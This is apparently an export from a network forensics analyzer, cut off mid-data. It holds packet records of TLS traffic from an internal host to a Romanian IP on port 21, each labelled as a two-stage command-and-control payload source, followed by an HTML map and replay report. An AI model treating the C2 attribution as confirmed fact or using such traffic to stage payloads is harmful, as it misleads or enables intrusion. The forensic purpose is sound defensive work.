{\"\"load\"\": \"\"170303004be006c7a13676422b4f695ff1e0520dcf87c65033ea69e0c7e73dd153305f40a05d6c07ad13a076faf11a03a6b5fe5ed8eadc834c520b64eb4d961a90d53e62935d50dec12889f78d6dd3dd\"\"}}]\"\n2026-04-26 14:31:22.551986,72,TCP 192.168.122.168:50578 -> 91.213.188.9:21,192.168.122.168,91.213.188.9,50578,21,TCP,Internal,Private Network,,,,,,Romania,Unknown,49468,Magit'st Srl,45.9968,24.997,91.213.188.0/24,PA,,,Ether > IP > TCP > Raw,4,TCP PA Seq=4242043294 Ack=4028118969,525400577f945254007bb792080045000059dc6640008006cb08c0a87aa85bd5bc09c5920015fcd8719ef01837b950180402537b0000170303002c00000000000000024697a11739fd827fa1ddd4e7db2893a2e3643212121344c653a6516f909c23ada799a362,\"....,........F...9........(...d2...D.S.Qo..#....b\",[C2] Staged Payload Source (Stages: 2),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:57:7f:94\"\", \"\"src\"\": \"\"52:54:00:7b:b7:92\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 89, \"\"id\"\": 56422, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 51976, \"\"src\"\": \"\"192.168.122.168\"\", \"\"dst\"\": \"\"91.213.188.9\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 50578, \"\"dport\"\": 21, \"\"seq\"\": 4242043294, \"\"ack\"\": 4028118969, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 1026, \"\"chksum\"\": 21371, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"170303002c00000000000000024697a11739fd827fa1ddd4e7db2893a2e3643212121344c653a6516f909c23ada799a362\"\"}}]\"\n2026-04-26 14:31:22.552008,73,TCP 91.213.188.9:21 -> 192.168.122.168:50578,91.213.188.9,192.168.122.168,21,50578,TCP,Romania,Unknown,49468,Magit'st Srl,45.9968,24.997,91.213.188.0/24,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=4028118969 Ack=4242043343,5254007bb792525400577f94080045000028920240004006559e5bd5bc09c0a87aa80015c592f01837b9fcd871cf50100053534a0000,RT.{..RT.W....E..(..@.@.U.[..\t..z.......7...q.P..SSJ..,[C2] Staged Payload Source (Stages: 2),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:7b:b7:92\"\", \"\"src\"\": \"\"52:54:00:57:7f:94\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 37378, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 21918, \"\"src\"\": \"\"91.213.188.9\"\", \"\"dst\"\": \"\"192.168.122.168\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 21, \"\"dport\"\": 50578, \"\"seq\"\": 4028118969, \"\"ack\"\": 4242043343, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 83, \"\"chksum\"\": 21322, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-04-26 14:31:22.998330,74,TCP 91.213.188.9:21 -> 192.168.122.168:50578,91.213.188.9,192.168.122.168,21,50578,TCP,Romania,Unknown,49468,Magit'st Srl,45.9968,24.997,91.213.188.0/24,Internal,Private Network,,,,,,PA,,,Ether > IP > TCP > Raw,4,TCP PA Seq=4028118969 Ack=4242043343,5254007bb792525400577f9408004500007292034000400655535bd5bc09c0a87aa80015c592f01837b9fcd871cf50180053539400001703030045e006c7a13676422c299b62fd76da848aaf62324a7b63639575433cdf5e3ab18c05b6bf05546d3babb23741e709e250d64875a3a589bb4aa31c49c348c1cf14fd717e8223c8,\"....E....6vB,).b.v....b2J{cc.uC<.^:......Tm;..7A.\t.P.Hu....J..I.H....q~.#.\",[C2] Staged Payload Source (Stages: 2),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:7b:b7:92\"\", \"\"src\"\": \"\"52:54:00:57:7f:94\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 114, \"\"id\"\": 37379, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 21843, \"\"src\"\": \"\"91.213.188.9\"\", \"\"dst\"\": \"\"192.168.122.168\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 21, \"\"dport\"\": 50578, \"\"seq\"\": 4028118969, \"\"ack\"\": 4242043343, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 83, \"\"chksum\"\": 21396, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"1703030045e006c7a13676422c299b62fd76da848aaf62324a7b63639575433cdf5e3ab18c05b6bf05546d3babb23741e709e250d64875a3a589bb4aa31c49c348c1cf14fd717e8223c8\"\"}}]\"\n2026-04-26 14:31:22.998360,75,TCP 91.213.188.9:21 -> 192.168.122.168:50578,91.213.188.9,192.168.122.168,21,50578,TCP,Romania,Unknown,49468,Magit'st Srl,45.9968,24.997,91.213.188.0/24,Internal,Private Network,,,,,,FA,,,Ether > IP > TCP,3,TCP FA Seq=4028119043 Ack=4242043343,5254007bb792525400577f94080045000028920440004006559c5bd5bc09c0a87aa80015c592f0183803fcd871cf50110053534a0000,RT.{..RT.W....E..(..@.@.U.[..\t..z.......8...q.P..SSJ..,[C2] Staged Payload Source (Stages: 2),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:7b:b7:92\"\", \"\"src\"\": \"\"52:54:00:57:7f:94\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 37380, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 21916, \"\"src\"\": \"\"91.213.188.9\"\", \"\"dst\"\": \"\"192.168.122.168\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 21, \"\"dport\"\": 50578, \"\"seq\"\": 4028119043, \"\"ack\"\": 4242043343, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"FA\"\", \"\"window\"\": 83, \"\"chksum\"\": 21322, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-04-26 14:31:22.998523,76,TCP 192.168.122.168:50578 -> 91.213.188.9:21,192.168.122.168,91.213.188.9,50578,21,TCP,Internal,Private Network,,,,,,Romania,Unknown,49468,Magit'st Srl,45.9968,24.997,91.213.188.0/24,A,,,Ether > IP > TCP,3,TCP A Seq=4242043343 Ack=4028119044,525400577f945254007bb792080045000028dc6740008006cb38c0a87aa85bd5bc09c5920015fcd871cff018380450100401534a0000,RT.W..RT.{....E..(.g@....8..z.[..\t......q...8.P...SJ..,[C2] Staged Payload Source (Stages: 2),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:57:7f:94\"\", \"\"src\"\": \"\"52:54:00:7b:b7:92\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 56423, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 52024, \"\"src\"\": \"\"192.168.122.168\"\", \"\"dst\"\": \"\"91.213.188.9\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 50578, \"\"dport\"\": 21, \"\"seq\"\": 4242043343, \"\"ack\"\": 4028119044, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 1025, \"\"chksum\"\": 21322, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-04-26 14:31:23.009485,77,TCP 192.168.122.168:50578 -> 91.213.188.9:21,192.168.122.168,91.213.188.9,50578,21,TCP,Internal,Private Network,,,,,,Romania,Unknown,49468,Magit'st Srl,45.9968,24.997,91.213.188.0/24,FA,,,Ether > IP > TCP,3,TCP FA Seq=4242043343 Ack=4028119044,525400577f945254007bb792080045000028dc6840008006cb37c0a87aa85bd5bc09c5920015fcd871cff018380450110401534a0000,RT.W..RT.{....E..(.h@....7..z.[..\t......q...8.P...SJ..,[C2] Staged Payload Source (Stages: 2),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:57:7f:94\"\", \"\"src\"\": \"\"52:54:00:7b:b7:92\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 56424, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 52023, \"\"src\"\": \"\"192.168.122.168\"\", \"\"dst\"\": \"\"91.213.188.9\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 50578, \"\"dport\"\": 21, \"\"seq\"\": 4242043343, \"\"ack\"\": 4028119044, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"FA\"\", \"\"window\"\": 1025, \"\"chksum\"\": 21322, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-04-26 14:31:23.009517,78,TCP 91.213.188.9:21 -> 192.168.122.168:50578,91.213.188.9,192.168.122.168,21,50578,TCP,Romania,Unknown,49468,Magit'st Srl,45.9968,24.997,91.213.188.0/24,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=4028119044 Ack=4242043344,5254007bb792525400577f94080045000028000040004006e7a05bd5bc09c0a87aa80015c592f0183804fcd871d050100053ffe30000,RT.{..RT.W....E..(..@.@...[..\t..z.......8...q.P..S....,[C2] Staged Payload Source (Stages: 2),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:7b:b7:92\"\", \"\"src\"\": \"\"52:54:00:57:7f:94\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 0, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 59296, \"\"src\"\": \"\"91.213.188.9\"\", \"\"dst\"\": \"\"192.168.122.168\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 21, \"\"dport\"\": 50578, \"\"seq\"\": 4028119044, \"\"ack\"\": 4242043344, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 83, \"\"chksum\"\": 65507, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n"},"html_report":"<!DOCTYPE html>\n<html lang=\"en\">\n<head>\n    <meta charset=\"UTF-8\">\n    <meta name=\"viewport\" content=\"width=device-width, initial-scale=1.0\">\n    <title>Global Network Analysis - Investigative Map</title>\n    <!-- Light Theme UI -->\n    <link rel=\"stylesheet\" href=\"https://unpkg.com/leaflet@1.9.4/dist/leaflet.css\" />\n    <script src=\"https://unpkg.com/leaflet@1.9.4/dist/leaflet.js\"></script>\n    <script src=\"https://d3js.org/d3.v7.min.js\"></script>\n    <link rel=\"stylesheet\" href=\"https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.4.0/css/all.min.css\" />\n    <style>\n        :root {\n            --bg-page: #f8fafc;\n            --panel-bg: #ffffff;\n            --border-ui: #e2e8f0;\n            --text-primary: #1e293b;\n            --text-secondary: #64748b;\n            --accent-main: #3b82f6;\n            --accent-success: #10b981;\n            --accent-danger: #ef4444;\n            --shadow-ui: 0 4px 6px -1px rgba(0, 0, 0, 0.1);\n        }\n\n        body, html {\n            margin: 0;\n            padding: 0;\n            width: 100%;\n            height: 100%;\n            overflow: hidden;\n            font-family: 'Inter', system-ui, -apple-system, sans-serif;\n            background: var(--bg-page);\n            color: var(--text-primary);\n        }\n\n        #app-layout {\n            display: grid;\n            grid-template-columns: 1fr 400px;\n            grid-template-rows: 60px 1fr;\n            height: 100vh;\n            width: 100vw;\n        }\n\n        header {\n            grid-column: 1 / 3;\n            background: var(--panel-bg);\n            border-bottom: 1px solid var(--border-ui);\n            display: flex;\n            align-items: center;\n            padding: 0 24px;\n            justify-content: space-between;\n            z-index: 1000;\n        }\n\n        .brand {\n            display: flex;\n            align-items: center;\n            gap: 12px;\n            font-weight: 800;\n            font-size: 1.2rem;\n            color: var(--accent-main);\n        }\n\n        #map-view {\n            position: relative;\n            background: #eee;\n        }\n\n        #side-inspector {\n            background: var(--panel-bg);\n            border-left: 1px solid var(--border-ui);\n            display: flex;\n            flex-direction: column;\n            overflow: hidden;\n            box-shadow: -4px 0 10px rgba(0,0,0,0.02);\n        }\n\n        .inspector-header {\n            padding: 20px;\n            background: #f1f5f9;\n            border-bottom: 1px solid var(--border-ui);\n        }\n\n        .inspector-content {\n            flex: 1;\n            overflow-y: auto;\n            padding: 20px;\n        }\n\n        .info-card {\n            background: #f8fafc;\n            border: 1px solid var(--border-ui);\n            border-radius: 10px;\n            padding: 15px;\n            margin-bottom: 15px;\n        }\n\n        .sec-title {\n            font-size: 0.75rem;\n            text-transform: uppercase;\n            letter-spacing: 0.05em;\n            color: var(--text-secondary);\n            margin-bottom: 10px;\n            font-weight: 700;\n        }\n\n        .data-row {\n            display: flex;\n            justify-content: space-between;\n            margin-bottom: 6px;\n            font-size: 0.85rem;\n        }\n\n        .data-label {\n            color: var(--text-secondary);\n        }\n\n        .data-value {\n            font-weight: 600;\n            word-break: break-all;\n            text-align: right;\n        }\n\n        .packet-list-item {\n            padding: 10px;\n            border: 1px solid var(--border-ui);\n            border-radius: 6px;\n            margin-bottom: 8px;\n            cursor: pointer;\n            transition: all 0.2s;\n            font-size: 0.8rem;\n            display: flex;\n            justify-content: space-between;\n        }\n\n        .packet-list-item:hover {\n            background: #f1f5f9;\n            border-color: var(--accent-main);\n        }\n\n\n        .hex-dump {\n            font-family: 'Fira Code', 'Courier New', monospace;\n            background: #0f172a;\n            color: #38bdf8;\n            padding: 15px;\n            border-radius: 8px;\n            overflow: auto;\n            flex: 1;\n            font-size: 0.85rem;\n            line-height: 1.4;\n        }\n\n        .stat-grid {\n            display: grid;\n            grid-template-columns: repeat(3, 1fr);\n            gap: 15px;\n        }\n\n        .stat-box {\n            background: var(--panel-bg);\n            border: 1px solid var(--border-ui);\n            padding: 10px;\n            border-radius: 8px;\n            text-align: center;\n        }\n\n        .stat-v {\n            font-size: 1.2rem;\n            font-weight: 700;\n            color: var(--accent-main);\n        }\n\n        .stat-l {\n            font-size: 0.7rem;\n            color: var(--text-secondary);\n        }\n\n        .leaflet-d3-overlay {\n            pointer-events: none;\n        }\n\n        circle {\n            pointer-events: visiblePainted;\n            cursor: pointer;\n            transition: stroke-width 0.2s;\n        }\n\n        path.link {\n            stroke-opacity: 0.6;\n            fill: none;\n            cursor: pointer;\n        }\n\n        .replay-controller {\n            position: absolute;\n            bottom: 20px;\n            left: 50%;\n            transform: translateX(-50%);\n            background: white;\n            padding: 15px 25px;\n            border-radius: 12px;\n            display: flex;\n            align-items: center;\n            gap: 20px;\n            box-shadow: 0 10px 30px rgba(0,0,0,0.1);\n            z-index: 1001;\n            border: 1px solid var(--border-ui);\n            min-width: 500px;\n        }\n\n        .timeline-slider {\n            flex: 1;\n            -webkit-appearance: none;\n            height: 6px;\n            background: #e2e8f0;\n            border-radius: 5px;\n            outline: none;\n        }\n\n        .timeline-slider::-webkit-slider-thumb {\n            -webkit-appearance: none;\n            width: 18px;\n            height: 18px;\n            background: var(--accent-main);\n            border-radius: 50%;\n            cursor: pointer;\n            box-shadow: 0 2px 4px rgba(0,0,0,0.2);\n        }\n\n        .replay-btn {\n            background: var(--accent-main);\n            color: white;\n            border: none;\n            width: 36px;\n            height: 36px;\n            border-radius: 50%;\n            display: flex;\n            align-items: center;\n            justify-content: center;\n            cursor: pointer;\n            transition: transform 0.2s;\n        }\n\n        .replay-btn:hover {\n            transform: scale(1.1);\n        }\n\n        .packet-particle {\n            fill: var(--accent-main);\n            filter: drop-shadow(0 0 3px var(--accent-main));\n        }\n\n        .pvt-network-zone {\n            position: absolute;\n            top: 20px;\n            left: 20px;\n            width: 200px;\n            height: 150px;\n            border: 2px dashed #94a3b8;\n            border-radius: 10px;\n            background: rgba(248, 250, 252, 0.8);\n            pointer-events: none;\n            display: flex;\n            align-items: center;\n            justify-content: center;\n            font-size: 0.7rem;\n            color: #64748b;\n            text-transform: uppercase;\n            font-weight: 800;\n            z-index: 1000;\n        }\n    </style>\n</head>\n<body>\n    <div id=\"app-layout\">\n        <header>\n            <div class=\"brand\">\n                <i class=\"fas fa-microchip\"></i> FORENSIC GLOBAL ANALYZER\n            </div>\n            <div class=\"stat-grid\" style=\"gap: 40px;\">\n                <div class=\"stat-box\" style=\"border:none; background:none;\">\n                    <div class=\"stat-v\" id=\"stat-nodes\">0</div>\n                    <div class=\"stat-l\">NODES</div>\n                </div>\n                <div class=\"stat-box\" style=\"border:none; background:none;\">\n                    <div class=\"stat-v\" id=\"stat-edges\">0</div>\n                    <div class=\"stat-l\">FLOWS</div>\n                </div>\n                <div class=\"stat-box\" style=\"border:none; background:none;\">\n                    <div class=\"stat-v\" id=\"stat-pkts\">0</div>\n                    <div class=\"stat-l\">PACKETS</div>\n                </div>\n            </div>\n            <div>\n                <button onclick=\"zoomToWorld()\" class=\"btn\" style=\"padding: 8px 15px; border:1px solid #ccc; border-radius:5px; background:white; cursor:pointer;\">\n                    <i class=\"fas fa-globe\"></i> Reset View\n                </button>\n            </div>\n        </header>\n\n        <div id=\"map-view\">\n            <div id=\"map\" style=\"width: 100%; height: 100%;\"></div>\n            <div class=\"pvt-network-zone\" id=\"pvt-zone\">Internal Assets</div>\n            \n            <div class=\"replay-controller\">\n                <button class=\"replay-btn\" id=\"play-pause\" onclick=\"toggleReplay()\">\n                    <i class=\"fas fa-play\" id=\"play-icon\"></i>\n                </button>\n                <input type=\"range\" class=\"timeline-slider\" id=\"timeline\" min=\"0\" max=\"100\" value=\"0\" oninput=\"seekReplay(this.value)\">\n                <div id=\"time-display\" style=\"font-family: monospace; font-size: 0.8rem; color: var(--text-secondary); width: 140px;\">00:00:00.000</div>\n            </div>\n\n            <div class=\"internal-nodes-tray\" id=\"internal-tray\" style=\"display:none;\">\n                <div class=\"sec-title\">Internal Assets</div>\n                <div id=\"internal-node-list\"></div>\n            </div>\n        </div>\n\n        <div id=\"side-inspector\">\n            <div class=\"inspector-header\">\n                <h2 id=\"inspect-title\">Selection Inspector</h2>\n                <p id=\"inspect-subtitle\" style=\"font-size: 0.8rem; color: var(--text-secondary);\">Select a node or flow on map</p>\n            </div>\n            <div class=\"inspector-content\" id=\"inspect-body\">\n                <div style=\"text-align: center; color: #94a3b8; margin-top: 50px;\">\n                    <i class=\"fas fa-search-location\" style=\"font-size: 3rem; margin-bottom: 20px;\"></i>\n                    <p>Analysis initialized. Click map elements or use replay to investigate flows.</p>\n                </div>\n            </div>\n        </div>\n    </div>\n\n    </div>\n\n    <script>\n        const nodes = [{\"id\": \"192.168.122.168\", \"ip\": \"192.168.122.168\", \"packet_count\": 78, \"total_bytes_sent\": 6619, \"total_bytes_received\": 4318, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"TLS\", \"Raw\"], \"ports_used\": [49899, 49892, 49957, 49956, 49955, 49958, 49954, 50578], \"first_seen\": 1777213576.978934, \"last_seen\": 1777213883.009517, \"packets\": [{\"num\": 28, \"time\": 1777213712.566196, \"size\": 54, \"direction\": \"sent\"}, {\"num\": 29, \"time\": 1777213712.566245, \"size\": 54, \"direction\": \"sent\"}, {\"num\": 30, \"time\": 1777213712.566261, \"size\": 54, \"direction\": \"sent\"}, {\"num\": 31, \"time\": 1777213712.581699, \"size\": 54, \"direction\": \"sent\"}, {\"num\": 32, \"time\": 1777213712.581767, \"size\": 54, \"direction\": \"sent\"}, {\"num\": 33, \"time\": 1777213713.784793, \"size\": 54, \"direction\": \"sent\"}, {\"num\": 34, \"time\": 1777213713.784891, \"size\": 54, \"direction\": \"sent\"}, {\"num\": 35, \"time\": 1777213713.853838, \"size\": 54, \"direction\": \"sent\"}, {\"num\": 36, \"time\": 1777213713.853919, \"size\": 54, \"direction\": \"sent\"}, {\"num\": 37, \"time\": 1777213713.853936, \"size\": 54, \"direction\": \"sent\"}, {\"num\": 38, \"time\": 1777213716.284163, \"size\": 54, \"direction\": \"sent\"}, {\"num\": 39, \"time\": 1777213716.28422, \"size\": 54, \"direction\": \"sent\"}, {\"num\": 40, \"time\": 1777213716.362379, \"size\": 54, \"direction\": \"sent\"}, {\"num\": 41, \"time\": 1777213716.362465, \"size\": 54, \"direction\": \"sent\"}, {\"num\": 42, \"time\": 1777213716.362483, \"size\": 54, \"direction\": \"sent\"}, {\"num\": 43, \"time\": 1777213721.085381, \"size\": 54, \"direction\": \"sent\"}, {\"num\": 44, \"time\": 1777213721.085449, \"size\": 54, \"direction\": \"sent\"}, {\"num\": 45, \"time\": 1777213721.163498, \"size\": 54, \"direction\": \"sent\"}, {\"num\": 46, \"time\": 1777213721.163578, \"size\": 54, \"direction\": \"sent\"}, {\"num\": 47, \"time\": 1777213721.163595, \"size\": 54, \"direction\": \"sent\"}, {\"num\": 48, \"time\": 1777213730.778945, \"size\": 54, \"direction\": \"sent\"}, {\"num\": 49, \"time\": 1777213730.779057, \"size\": 54, \"direction\": \"sent\"}, {\"num\": 50, \"time\": 1777213730.857066, \"size\": 54, \"direction\": \"sent\"}, {\"num\": 51, \"time\": 1777213730.857168, \"size\": 54, \"direction\": \"sent\"}, {\"num\": 52, \"time\": 1777213730.857188, \"size\": 54, \"direction\": \"sent\"}, {\"num\": 53, \"time\": 1777213870.011506, \"size\": 66, \"direction\": \"sent\"}, {\"num\": 54, \"time\": 1777213870.011559, \"size\": 66, \"direction\": \"received\"}, {\"num\": 55, \"time\": 1777213870.0117, \"size\": 54, \"direction\": \"sent\"}, {\"num\": 56, \"time\": 1777213880.775338, \"size\": 374, \"direction\": \"received\"}, {\"num\": 57, \"time\": 1777213880.775728, \"size\": 64, \"direction\": \"sent\"}, {\"num\": 58, \"time\": 1777213880.775759, \"size\": 54, \"direction\": \"received\"}, {\"num\": 59, \"time\": 1777213881.206814, \"size\": 72, \"direction\": \"received\"}, {\"num\": 60, \"time\": 1777213881.220781, \"size\": 231, \"direction\": \"sent\"}, {\"num\": 61, \"time\": 1777213881.220806, \"size\": 54, \"direction\": \"received\"}, {\"num\": 62, \"time\": 1777213881.619811, \"size\": 3061, \"direction\": \"received\"}, {\"num\": 63, \"time\": 1777213881.620002, \"size\": 54, \"direction\": \"sent\"}, {\"num\": 64, \"time\": 1777213881.660193, \"size\": 147, \"direction\": \"sent\"}, {\"num\": 65, \"time\": 1777213881.660223, \"size\": 54, \"direction\": \"received\"}, {\"num\": 66, \"time\": 1777213882.043482, \"size\": 105, \"direction\": \"received\"}, {\"num\": 67, \"time\": 1777213882.099332, \"size\": 54, \"direction\": \"sent\"}, {\"num\": 68, \"time\": 1777213882.174321, \"size\": 108, \"direction\": \"sent\"}, {\"num\": 69, \"time\": 1777213882.174345, \"size\": 54, \"direction\": \"received\"}, {\"num\": 70, \"time\": 1777213882.551505, \"size\": 134, \"direction\": \"received\"}, {\"num\": 71, \"time\": 1777213882.551986, \"size\": 103, \"direction\": \"sent\"}, {\"num\": 72, \"time\": 1777213882.552008, \"size\": 54, \"direction\": \"received\"}, {\"num\": 73, \"time\": 1777213882.99833, \"size\": 128, \"direction\": \"received\"}, {\"num\": 74, \"time\": 1777213882.99836, \"size\": 54, \"direction\": \"received\"}, {\"num\": 75, \"time\": 1777213882.998523, \"size\": 54, \"direction\": \"sent\"}, {\"num\": 76, \"time\": 1777213883.009485, \"size\": 54, \"direction\": \"sent\"}, {\"num\": 77, \"time\": 1777213883.009517, \"size\": 54, \"direction\": \"received\"}], \"is_private\": true, \"is_server\": false, \"is_client\": true, \"suspicious_score\": 0.0, \"geo\": {\"country\": \"Internal\", \"city\": \"Private Network\", \"lat\": 0.0, \"lon\": 0.0, \"asn\": \"Unknown\", \"isp\": \"Unknown\", \"network\": \"Unknown\"}, \"duration\": 306.0305829048157, \"avg_packet_size\": 140.21794871794873, \"packets_per_second\": 0.25487648737466295}, {\"id\": \"4.213.25.240\", \"ip\": \"4.213.25.240\", \"packet_count\": 18, \"total_bytes_sent\": 0, \"total_bytes_received\": 3740, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"TLS\"], \"ports_used\": [443], \"first_seen\": 1777213576.978934, \"last_seen\": 1777213600.806974, \"packets\": [{\"num\": 0, \"time\": 1777213576.978934, \"size\": 153, \"direction\": \"received\"}, {\"num\": 1, \"time\": 1777213577.29147, \"size\": 153, \"direction\": \"received\"}, {\"num\": 2, \"time\": 1777213577.900813, \"size\": 153, \"direction\": \"received\"}, {\"num\": 3, \"time\": 1777213579.103914, \"size\": 153, \"direction\": \"received\"}, {\"num\": 4, \"time\": 1777213579.459364, \"size\": 301, \"direction\": \"received\"}, {\"num\": 5, \"time\": 1777213579.760137, \"size\": 301, \"direction\": \"received\"}, {\"num\": 6, \"time\": 1777213580.317697, \"size\": 153, \"direction\": \"received\"}, {\"num\": 7, \"time\": 1777213580.364609, \"size\": 301, \"direction\": \"received\"}, {\"num\": 8, \"time\": 1777213581.520764, \"size\": 153, \"direction\": \"received\"}, {\"num\": 9, \"time\": 1777213581.567614, \"size\": 301, \"direction\": \"received\"}, {\"num\": 10, \"time\": 1777213582.770657, \"size\": 301, \"direction\": \"received\"}, {\"num\": 11, \"time\": 1777213583.926862, \"size\": 153, \"direction\": \"received\"}, {\"num\": 12, \"time\": 1777213583.973748, \"size\": 301, \"direction\": \"received\"}, {\"num\": 13, \"time\": 1777213586.386448, \"size\": 301, \"direction\": \"received\"}, {\"num\": 14, \"time\": 1777213588.800596, \"size\": 153, \"direction\": \"received\"}, {\"num\": 15, \"time\": 1777213591.207642, \"size\": 301, \"direction\": \"received\"}, {\"num\": 16, \"time\": 1777213598.415325, \"size\": 54, \"direction\": \"received\"}, {\"num\": 17, \"time\": 1777213600.806974, \"size\": 54, \"direction\": \"received\"}], \"is_private\": false, \"is_server\": true, \"is_client\": false, \"suspicious_score\": 0.0, \"geo\": {\"country\": \"India\", \"city\": \"Pune\", \"lat\": 18.5211, \"lon\": 73.8502, \"asn\": 8075, \"isp\": \"Microsoft Corporation\", \"network\": \"4.213.0.0/16\"}, \"duration\": 23.82803988456726, \"avg_packet_size\": 207.77777777777777, \"packets_per_second\": 0.7554125344425869}, {\"id\": \"13.107.42.254\", \"ip\": \"13.107.42.254\", \"packet_count\": 7, \"total_bytes_sent\": 0, \"total_bytes_received\": 378, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"ports_used\": [443], \"first_seen\": 1777213711.537736, \"last_seen\": 1777213730.778945, \"packets\": [{\"num\": 18, \"time\": 1777213711.537736, \"size\": 54, \"direction\": \"received\"}, {\"num\": 23, \"time\": 1777213711.886229, \"size\": 54, \"direction\": \"received\"}, {\"num\": 31, \"time\": 1777213712.581699, \"size\": 54, \"direction\": \"received\"}, {\"num\": 33, \"time\": 1777213713.784793, \"size\": 54, \"direction\": \"received\"}, {\"num\": 38, \"time\": 1777213716.284163, \"size\": 54, \"direction\": \"received\"}, {\"num\": 43, \"time\": 1777213721.085381, \"size\": 54, \"direction\": \"received\"}, {\"num\": 48, \"time\": 1777213730.778945, \"size\": 54, \"direction\": \"received\"}], \"is_private\": false, \"is_server\": true, \"is_client\": false, \"suspicious_score\": 0.0, \"geo\": {\"country\": \"United States\", \"city\": \"Unknown\", \"lat\": 37.751, \"lon\": 